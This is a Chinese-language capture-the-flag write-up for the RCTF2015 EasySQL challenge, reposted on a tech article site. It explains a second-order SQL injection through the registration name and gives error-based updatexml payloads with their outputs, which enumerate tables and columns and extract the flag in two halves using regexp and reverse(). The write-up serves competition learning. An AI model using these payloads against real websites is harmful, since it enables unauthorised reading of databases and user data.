[RCTF2015]EasySQL
2022/1/14 19:06:06
本文主要是介绍[RCTF2015]EasySQL,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
[RCTF2015]EasySQL
知识点:二次注入,报错注入
文章目录
- [RCTF2015]EasySQL
- 二次注入
- 报错注入
二次注入
题目环境有注册,登录,修改密码功能,修改密码处存在二次注入漏洞,当注册的名字为admin"时,然后进行修改密码,会导致报错。
推测更新密码的语句是
password='xxxx' where username="xxxx" and pwd='xxxx'
知道这里可以报错之后,利用报错注入
报错注入
得表名 admin"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))# XPATH syntax error: '~article,flag,users~' flag表里面是假的flag 得字段名 admin"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))# XPATH syntax error: '~name,pwd,email,real_flag_1s_her' 得列名 admin"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users))),1))# XPATH syntax error: '~xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx'
到了列名这里,回显比较特殊,说不存在这个表。可能是表的名称不够完整,需要使用匹配将其补充完整。
可以使用正则匹配regexp('^r')
读取flag
regexp('^r')
是mysql的正则,匹配以r
开头的字段,也就是字段名:real_flag_1s_her
admin"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users)where(real_flag_1s_here)regexp('^f'))),1))# XPATH syntax error: '~flag{20a2cc3d-ff1a-4748-beed-e8'
剩下的一半使用reverse()读取
admin"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_her)regexp('^f')))),1))# XPATH syntax error: '~}0a48ef5e3b8e-deeb-8474-a1ff-d3'
然后进行一下反转
这篇关于[RCTF2015]EasySQL的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-07-06有没有什么开源的py项目可以对图像进行分类-icode9专业技术文章分享
- 2024-07-05feign默认connecttimeout和readtimeout是多少-icode9专业技术文章分享
- 2024-07-05idea控制台,日志太多,导致部分想看得日志被刷走 搜不到-icode9专业技术文章分享
- 2024-07-05The server selected protocol version Tls10 is not accepted by client preferences [TLs12]-icode9专业技术文章分享
- 2024-07-05怎么清理项目缓存-icode9专业技术文章分享
- 2024-07-04安装 Eyoucms详细图文教程-icode9专业技术文章分享
- 2024-07-04ueditor 复制文章时,图片的链接是一个下载图片地址,该如何处理?-icode9专业技术文章分享
- 2024-07-04怎样判断host有没有对wordpress有缓存呢-icode9专业技术文章分享
- 2024-07-04具有编译功能的系统make后,无法ssh连接-icode9专业技术文章分享
- 2024-07-04make后如何升级ssh-icode9专业技术文章分享